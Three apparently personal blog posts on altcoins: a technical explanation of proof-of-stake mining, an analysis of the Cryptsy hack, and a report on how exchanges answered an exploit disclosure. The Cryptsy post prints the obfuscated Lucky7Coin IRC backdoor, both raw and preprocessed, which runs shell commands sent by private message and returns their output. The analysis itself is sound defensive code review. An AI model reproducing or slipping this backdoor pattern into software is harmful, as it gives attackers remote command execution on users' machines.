Proof Of Stake Mining, How it actually works

I've seen tons of broad descriptions of proof-of-stake mining like "instead of using computing power, you just leave your wallet open with your coins", but this doesn't explain anything as to how PoS actually works, how it's secure, and why more computing power doesn't give any advantage. So, here I would like to explain it in technical terms, but hopefully broad enough that non-technical people can understand it.

Proof-of-stake mining is similar to Proof-of-work at a technical level. It involves a sort of lottery, similar to proof-of-work, but the difficult of this lottery is weighted depending on how many coins you are staking. The overall process for "attempting" to mine a PoS block is like so:

  1. Add a coinbase transaction, and a staking transaction (in most coins, must be hardcoded as the second transaction)
  2. Prepare block normally, with transactions from network etc
  3. Compute the PoS "kernel"
  4. Compute the "staking difficulty", which is the base difficulty, reduced by a ratio of how many coins you are staking (or in PoS version 1.0's case, the coinage of your coins)
  5. Compare the kernel's hash against the staking difficulty
  6. If the hash meets the difficulty then continue, otherwise go back to step 1 trying other UTXOs in your wallet that are suitable for staking
  7. Now you have a valid PoS block. The final step is to sign the block header, proving that you own the staking transaction from step 1.

Now I'll try to go into a bit more depth.

First, the staking transaction is a special transaction that is not possible on the normal Bitcoin blockchain. It includes the concept of negative fees. Because all stakers know the reward, they add this reward to this transaction, meaning that there are more output coins than input coins. This kind of transaction is only valid in a staking context.

Next, the PoS kernel. This is a bit complicated, but the important part is that nothing in it can be easily changed in the context of this block. In the case of blackcoin, the kernel consists of "stake modifier"(I'll explain that in a bit), current block's timestamp, and data from the "txPrev". The txPrev is the transaction of the output which is spent by the staking transaction(ie, the input to the staking transaction). The data pulled from the txPrev includes blocktime, transaction time, hash, and output number (vout 'n').

Because the txPrev data has already been confirmed in the blockchain, it is immutable. The only piece of data that is mutable is the current blocktime. The current blocktime in PoS coins is actually masked though (ie, the bottom bits are set to 0), so that there is very little entropy that can be had by making minor modifications to it. And the blocktime can not be beyond certain network drift limits, or not all nodes will accept the block. Finally the stake modifier is a value generated by taking some entropy bits from the previous (iirc) 64 blocks and hashing it together to form a relatively random number. It's primary purpose is to make computing future block's (beyond the next block) kernel difficult.

Finally, all the data for the kernel is hashed together. The staking difficulty is computed simply. It takes the standard difficulty from Bitcoin, but makes it so that this difficulty is for 1 coin. If you stake 2 coins, then it's only half the difficulty. For 4 coins only a quarter of the difficulty, etc. There are some restrictions to this. In order to prevent someone from being able to control the network for a chain of blocks with a large number of coins, there is a limit to the amount of staking coins, and thus there is a limit on how much the base difficulty can be reduced by.

Finally, a signature is made, proving that the staking transaction actually belongs to the person creating this block. The signature itself goes into the blockheader so that the signature is part of the blockhash.

All of this put together causes the following effects:

  1. PoS block "mining" does involve hashing and difficulty like PoW, but there are very few mechanisms to change the hash that is given, and so no matter how much computing power you have, it won't help any
  2. The stake modifier prevents predicting which block you will be able to successfully stake, because it adds a lot of uncontrollable entropy to the kernel hash
  3. The more coins you stake, the better chance you have at successfully creating a block, because of the weighted difficulty
  4. In case the network gets stuck due to a sudden drop in the number of people staking, the low-entropy version of the blocktime will eventually allow new kernel hashes to be generated given enough time, giving stakers left on the network a chance to have a successful PoS block
Posted: 3/24/2017 7:01:28 PM

Analyzing the $5.6 Million Exploit and Cryptsy's Security Failings

Yesterday, it was announced that Cryptsy was hacked. They wrote in decent detail what happened, but didn't explain how all of this was possible. I am apparently an expert at doing security reviews of crytpocurrencies, so let's dig in. First though, I need to introduce you to the world of Altcoins, circa 2014. Skip to the next section if you already know all about that crazy time.

For those unfamiliar with altcoins (alternative cryptocurrencies), it's extremely common for a cryptocurrency to rise up for a few weeks, become a hit, and then suddenly die out. I was the dev of 3 different cryptocurrencies and it happens. When it dies out, there is typically no motivation for the developer to continue working on it, because everyone in cryptocurrency at the time was searching for the next Dogecoin. The thing they can put $10 into early and get $1000 out a month later. If you didn't succeed in doing that (or even if you did in some cases), excitement died down and moved to the next hot coin implementing the feature that made people money last time. So, it is extremely common for altcoins to become abandoned after a few months, fall into disrepair, and become broken in various ways. Cryptsy didn't make a mistake in accepting code from a new maintainer of the cryptocurrency.

However, they did screw up, obviously. Any reasonable exchange compiles all of their wallets from source code. A few exchanges have accepted closed source cryptocurrencies, but most of them are also now dead, or were dead 3 months after opening and gaining enough trust to run away with some money. I must stress, this is extremely common in the alternative cryptocurrency world. Everyone wants to double their dollar and there is no regulation or oversight. Crytpsy I assume also compiled their wallet's code from source. For security, all exchanges should sandbox their wallets (though Richie at Bittrex has told me this is harder than expected. I don't run an exchange, so I don't know in exactly what ways), make sure their cold bitcoin storage is actually cold and not lukewarm, and finally, should review all code that gets compiled and put onto their exchange.

They appear to have neglected these security tasks. Their wallets appear to not be sandboxed in any strong way. If their cold storage had actually been cold, the attackers would've never got beyond emptying their hot wallet. And finally, their code review practices either didn't exist, or were insufficient to catch this. At just around the time of this exploit being created I had started conducting code reviews of cryptocurrencies. This was initially triggered by a coin called "Mysterycoin". He claimed at the time that there was something hidden in the coin. People had started investing in this crazy thing and this was just after the "USBCoin" exploit which stole a ton of money from people. If you read through that thread, it's quite insane that people didn't believe me when I found the exploit, but these are also people that probably invested in it. They didn't care about exploits as long as they exited before the coin was worthless. This is a very common trope of the altcoin world. Anyway, so I started conducting code reviews of these altcoins because no one else was protecting the community from stuff like this. I legitimately wanted altcoins to succeed. There was so much excitement and innovation happening at the time, and everyone was exploring what limits they could take altcoins to. Mixed with this good stuff happening though, a number of malicious scams also popped up. Most of these were the typical pyramid scheme type, or the "Invest now, and then I'll release a new version with [SOME GREAT IMPOSSIBLE FEATURE] and then you'll be rich!", and then the developers would cash out their premine at the highest market price they could, leave the coin, and move onto a new coin and do the same thing. And people ATE. IT. UP. Hell, even I invested in a coin I knew would fail, because I knew I could sell it 12 hours later at double the price before the price tanked 48 hours into it. These scammers knew that people were doing this, so they started employing tricks such as "hidden premines", ie, where they start the currency and have more coins in this cryptocurrency than they announced. Most people knew how to check this kind of thing, so the developers started rewriting code so that the block explorers lied about the first transaction in the blockchain to say 0 coins were created, instead of 1 million coins. Most of these exploits however were fairly harmless in an overall-system type of way. They would lie about transactions, maybe allow the developer to exploit the blockchain, but nothing like executing arbritrary files or becoming part of a botnet.

So, anyway, this kind of thing was really just starting to ramp up. Even Bittrex, one of the most security concious exchanges then and now, had been hit by these code exploits. I'm not excusing Cryptsy, but this kind of behavior with scams and malicious code was a slow and then sudden realization, like the string of OpenSSL security problems. Most developers of altcoins were knew to potentially be scammers, but coins with actively malicious code was extremely rare, if not complete unheard of. And then suddenly exploits were left and right. This was about the point that I stepped in. Bittrex even ended up hiring me as a contractor after I reported a security issue to them at around this time. So, anyway Cryptsy had lax code reviews, if they did at all. And this exploit was not particularly easy to catch. I think today I would've caught it, but two years ago? Who knows.. So, let's dive into the actual exploit:

The Exploit

The exploit is pretty well hidden from the get-go. Look through the commit history. You won't find anything relevant. Yep, they changed it in the initial commit. However, they do have the "Change IRC Network" commit there to look like an obvious fix for crytpsy. Anyone smart knows to never trust commit history. Commits can always be changed, backdated, you name it. It's user provided information. This actually made my job of conducting code reviews significantly harder. The only way to figure out the actual changes a developer made to the coin, you must take the code and compare it to another coin that is similar. This basically involves a lot of trial and error with trying to match their code up to a sane similar coin that you know is trustworthy. Oh yea, no altcoin developer starts from nothing. They always fork a different coin as their base and change things from there. So, if you can find a sane coin to compare the code against, then you have to mostly manually sift through a ton of noisey renaming from (say) "Firecoin" to "Lucky7coin" to get at the very core of what they actually changed in the logic.

So, let's see what that would've looked like, while cutting out the noise. Something like this

As you can see, it's pretty well hidden. It appears to be some innocent modifications to the allocation methods, but yet, those comments don't make any sense. This should have been a red flag, especially things like define S_ORDER(a,b,c,d) b##a##d##c which to me screams "I'm obfuscating something" (I should know, I work on a software obfuscator in my day job). So, Lets get out the core code:

    if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
    {
        CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
        if (buf) {
            std::string result = "";
            while (!feof(buf))
                if (fgets(pszName, sizeof(pszName), buf) != NULL)
                    result += pszName;
            CFree(buf);
            strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
            if (strchr(pszName, '!'))
                *strchr(pszName, '!') = '\0';
            Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
        }
    }

This takes place in the loop for handling IRC messages. Bitcoin and altcoins use (or at least use to) IRC for finding other nodes to receive the blockchain. It connects to an IRC network and watches for JOIN messages and messages beginning with "352", and then uses that as a marker to parse the rest of the message as an IP address. If you look at what the CBuff macro is, it is "PR" "IV" "M" "SG". Anything, ANYTHING concering private hidden messages in this code should be an immediate flag.

Now, let's look at what this code actually looks like when preprocessed and all the macros are resolved:

      if (vWords[1] == "PR" "IV" "M" "SG" && vWords[3] == ":!" && vWords[0].size() > 1)
         {
             FILE *buf = popen(strstr(strLine.c_str(), vWords[4].c_str()), "r");
             if (buf) {
                 std::string result = "";
                 while (!feof(buf))
                     if (fgets(pszName, sizeof(pszName), buf) != 
 # 356 "irc.cpp" 3 4
                                                                __null
 # 356 "irc.cpp"
                                                                    )
                         result += pszName;
                 pclose(buf);
                 strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
                 if (strchr(pszName, '!'))
                     *strchr(pszName, '!') = '\0';
                 Send(hSocket, real_strprintf("%s %s :%s\r", 0, "PR" "IV" "M" "SG", pszName, result.c_str()).c_str());
            }
        }

Hmm.. this code looks a lot more sinister now. Basically the logic resolves down to "If a private message comes in with the 2nd word being ":!", then execute the 4th word of the message as a command" And word is defined as being seperated by a space. I'm not really sure why the convuleted strstr() logic is used on the 3rd line of the exploit however. I can only assume to make it harder to understand. But anyway, it basically executes the command sent in and then will send back the standard output of the command. And this is how they were able to execute any arbritrary command on the wallet server.

Conclusion

So, this was a pretty big mistake from multiple failures in security architecture... A $5.6 million dollar mistake. With even basic security protocols an exploit like this should have been caught and rendered nothing at risk besides maybe the actual Lucky7Coin hot wallet. This exploit existed for at least 6 months before actually stealing all of cryptsy's cold wallet funds. Somewhere in that amount of time, someone should've noticed the odd IRC traffic. Or hell, why was IRC traffic even being allowed in this case!?

I think some take aways from this are:

  1. If you're running anything to do with Bitcoin, security is not a joke. It's not a matter of if you get hacked but rather when. And when you do, you'd better hope your wallet with most of your funds is so cold it's practically frozen and attackers can't get to it
  2. Code reviews are hard, but extremely important. A few months ago I reviewed the coin "Pharma" 2 times and it wasn't until the third time that I found an exploit in it. I'm not saying they didn't try to conduct a review to find any potential exploits, but it's really best to have more than one eyes on this kind of thing, and I doubt this made it past 2 people
  3. You should be sandboxing everything possible. Sandboxing is hard, especially for something as resource intensive as altcoin wallets, but this entire issue could've been prevented with proper sandboxing.
  4. You should be monitoring your networks. Use a whitelist if possible, and have excessive monitoring with heuristics otherwise to detect anomolies like this.
  5. Your cold storage should be actually cold. If you can get at your cold wallet's private keys without physically getting out of your chair and walking somewhere, it's not cold.
  6. You can never be too careful when handling millions of dollars
  7. Actually respond to incident responses, and provide bug/security bounties to encourage people to report it instead of exploit it. When I contacted some exchanges about a much less significant exploit in a coin, two did not reply, ever. One wrote back and told me "It doesn't affect transaction balances, so therefore it's not our problem" (basically, fuck you, we don't care that our traders get a fair deal), and one exchange that actually responded and took the market offline within 30 minutes of my report.
Posted: 1/16/2016 7:17:49 AM

Exploit Report Responses

So, I found it interesting the "response" I got from exchanges when reporting the Pharma Exploit. TL;DR; some malicious miners could mine blocks significantly faster than legitimate miners.

In all, 3 coins and 3 altcoin exchanges were affected. The coins being Pharma (2 exchanges), MasterDoge, and Hexxcoin (1 exchange). The 3 exchanges are C-CEX, BlueTrade, and Yobit. I also sent a message to Bittrex because I thought a coin was affected that they had a market for, but that was a mistake and the coin was not actually affected.

Responses from exchanges:

  1. C-CEX: No response, market still online
  2. Yobit: No response, market still online
  3. BlueTrade: Response summarized as "this exploit only affects the miners and because it doesn't affect transaction balances, we will keep the market up." (which is bullshit), market still online
  4. Bittrex: Response within 30 minutes asking for more details (at this point I indicated it doesn't actually affect a coin I thought it did), unaffected

So, there you go. Four exchanges contacted about a security problem. One replied back that was actually concerned about it.

Posted: 7/5/2015 5:49:59 PM